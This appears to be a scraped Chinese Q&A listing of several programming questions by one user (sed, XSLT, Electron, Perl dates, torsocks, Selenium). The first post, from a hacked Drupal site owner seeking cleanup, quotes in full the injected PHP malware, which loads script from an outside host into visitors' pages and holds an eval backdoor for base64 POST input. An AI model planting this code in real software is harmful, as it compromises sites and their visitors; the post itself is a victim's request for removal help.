小编rob*_*ing的帖子

sed,替换第一行

通过运行一个非常过时的Drupal安装我被黑了(对我很遗憾)

似乎他们在每个.php文件中注入以下内容;

<?php global $sessdt_o; if(!$sessdt_o) { 
  $sessdt_o = 1; $sessdt_k = "lb11"; 
  if(!@$_COOKIE[$sessdt_k]) { 
   $sessdt_f = "102"; 
   if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } 
   else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } 
  } 
  else { 
   if($_COOKIE[$sessdt_k]=="102") { 
    $sessdt_f = (rand(1000,9000)+1); 
     if(!@headers_sent()) {
      @setcookie($sessdt_k,$sessdt_f); } 
     else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }  
     sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; 
     $sessdt_v = urlencode(strrev($sessdt_j)); 
     $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); 
     echo "<script src='$sessdt_u'></script>"; 
     echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; 
    } 
   } 
   $sessdt_p = "showimg"; 
   if(isset($_POST[$sessdt_p])){
    eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
    exit;
   } 
  }
Run Code Online (Sandbox Code Playgroud)

我可以删除并替换它sed吗?例如:

find . -name *.php | …
Run Code Online (Sandbox Code Playgroud)

sed

34
推荐指数
2
解决办法
6万
查看次数

XSL如果测试开始 - 用

鉴于这篇XML

<dc:date>info:eu-repo/date/embargoEnd/2013-06-12</dc:date>
<dc:date>2012-07-04</dc:date>
Run Code Online (Sandbox Code Playgroud)

我需要使用XSL只输出字符串的年份而不是以 info:eu-repo.我正在尝试这种方式,但它不起作用.我错了for-each

<xsl:if test="not(starts-with('dc:date', 'info:eu-repo'))">
                <xsl:for-each select="dc:date">
                    <publicationYear>
                        <xsl:variable name="date" select="."/>
                        <xsl:value-of select="substring($date, 0, 5)"/>
                    </publicationYear>
                </xsl:for-each>
</xsl:if>
Run Code Online (Sandbox Code Playgroud)

xslt xpath xpath-2.0

9
推荐指数
1
解决办法
5万
查看次数

电子和窗口上的节点,杀死一个衍生过程

我正在从电子主要开始一个后台进程(在windows上),如下所示:

app_exe = require("child_process").spawn(
  "app.exe" ,
  [ "--params", ... ],
  { stdio: "ignore" }
);
Run Code Online (Sandbox Code Playgroud)

这工作正常,我可以从流程资源管理器中看到: 在此输入图像描述

但是当电子关闭时我无法杀死这个过程(.on("closed")on("window-all-closed"))

我尝试了child.kill([signal]),但也没有结果的树杀死taskkill:只有第一个进程(示例中的6036)被杀死,第二个进程(5760)仍然是陈旧的.

exec taskkill /F /T /PID也不杀它.

杀死的唯一方法是exec taskkill /F /IM app.exe /T,但是这样我就无法运行电子应用程序的两个实例.

我在Windows上的流程管理中遗漏了一些明显的东西?

windows node.js electron

8
推荐指数
1
解决办法
1917
查看次数

如何在perl中找到两个日期之间的差异?

在perl中,根据用户输入的日期,我如何检查从今天起12个月后不会更长?

我试过这种方式:

#!/usr/bin/env perl
use 5.010;
use warnings;
use DateTime;
use Data::Dumper;

$given = DateTime->new( year=>"2013", month => "11", day =>"23" );
$now = DateTime->now;
$delta = $given->delta_md($now);

say $delta->months;
print Dumper($delta);
Run Code Online (Sandbox Code Playgroud)

但我得到的输出是这个.为什么$ delta->月份值与自卸车的价值不同?

11
$VAR1 = bless( {
                 'seconds' => 0,
                 'minutes' => 0,
                 'end_of_month' => 'wrap',
                 'nanoseconds' => 0,
                 'days' => 24,
                 'months' => 23
               }, 'DateTime::Duration' );
Run Code Online (Sandbox Code Playgroud)

perl date

3
推荐指数
1
解决办法
3840
查看次数

perl,int自1970年以来的秒数

使用旧版本的EPrints软件,我有这个函数 EPrints :: Time :: datestring_to_timet返回自1970年以来的整数秒

  ######################################################################               
  =pod                                                                                 

  =item $xhtml = EPrints::Time::datestring_to_timet( $handle, $datevalue )             

  Returns an interger number of seconds since 1970-01-01:00:00                         

  $datevalue - in the format YYYY-MM-DDTHH:MM:SSZ                                      

  =cut                                                                                 
  ######################################################################               

  sub datestring_to_timet                                                              
  {                                                                                    
          my( $session, $datevalue, $short ) = @_;                                     

          my( $year,$mon,$day,$hour,$min,$sec ) = split /[- :TZ]/, $datevalue;         

          my $t = timegm_nocheck $sec||0,$min||0,$hour,$day,$mon-1,$year-1900;         

          return $t;                                                                   
  }
Run Code Online (Sandbox Code Playgroud)

如果使用未来一年,我得到一个负数:

print EPrints::Time::datestring_to_timet(undef, "3017-9-20T12:00:00Z");
Run Code Online (Sandbox Code Playgroud)

结果:

-26895412800
Run Code Online (Sandbox Code Playgroud)

这有什么不对?

perl year2038

3
推荐指数
1
解决办法
81
查看次数

躯干和不受支持的系统调用

我需要 torify(使用 torsocks)一个 python deamon 应用程序。
在 macos 上测试一切正常,在 linux 上我有这个错误:

1507484799 WARNING torsocks[9]: [syscall] Unsupported syscall number 217. Denying the call (in tsocks_syscall() at syscall.c:488)
1507484800 ERROR torsocks[6]: Unable to resolve. Status reply: 4 (in socks5_recv_resolve_ptr_reply() at socks5.c:829)
Segmentation fault
Run Code Online (Sandbox Code Playgroud)

我应该调查什么?

tor torsocks

3
推荐指数
1
解决办法
3855
查看次数

python-selenium:execute_script 与execute_async

我不太清楚硒execute_scriptexecute_async_script硒之间的区别。

将 python-selenium 中的示例放入 pytest 函数中:

driver.get(url)

js = '''
var video = document.getElementById("myVideo");

video.onplaying=function() {
  return "play";
};
'''

video_play = driver.execute_script(js)
assert video_play == "play"
Run Code Online (Sandbox Code Playgroud)

结果是:

E       AssertionError: assert None == 'play'
Run Code Online (Sandbox Code Playgroud)

我缺少什么?我应该在js中使用execute_async和async/await函数吗?你能给我举一些例子吗?

python selenium

2
推荐指数
1
解决办法
2596
查看次数

标签 统计

perl ×2

date ×1

electron ×1

node.js ×1

python ×1

sed ×1

selenium ×1

tor ×1

torsocks ×1

windows ×1

xpath ×1

xpath-2.0 ×1

xslt ×1

year2038 ×1